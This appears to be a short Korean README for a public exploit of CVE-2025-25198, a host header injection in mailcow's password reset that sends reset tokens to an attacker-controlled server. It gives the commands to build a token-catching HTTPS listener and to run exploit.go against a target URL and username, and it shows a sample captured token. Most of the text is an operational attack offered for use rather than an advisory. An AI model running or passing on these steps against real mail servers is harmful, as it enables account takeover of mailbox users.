
Mailcow 호스트 헤더 주입 공격에서 비밀번호 재설정 토큰을 캡처합니다.
mailcow: dockerized는 docker 기반의 오픈 소스 그룹웨어/이메일 제품군입니다. 2025-01a 버전 이전에는 mailcow의 비밀번호 재설정 기능의 취약점으로 인해 공격자가 Host HTTP 헤더를 조작하여 공격자가 제어하는 도메인을 가리키는 비밀번호 재설정 링크를 생성할 수 있습니다. 사용자가 이 오염된 링크를 클릭하면 계정 탈취로 이어질 수 있습니다.
모든 요청을 수신하는 https 서버를 설정하고 선택한 <IP>가 포함된 Host 헤더와 함께 웹사이트에 POST 요청을 보냅니다. Burpsuite를 사용하여 요청을 보내고 서버에서 토큰을 얻을 수도 있습니다.
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <[email protected]> --host <ip>:<port> <--insecure | optional >
잠시 기다리면 서버에서 사용할 수 있는 토큰이 출력됩니다:
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245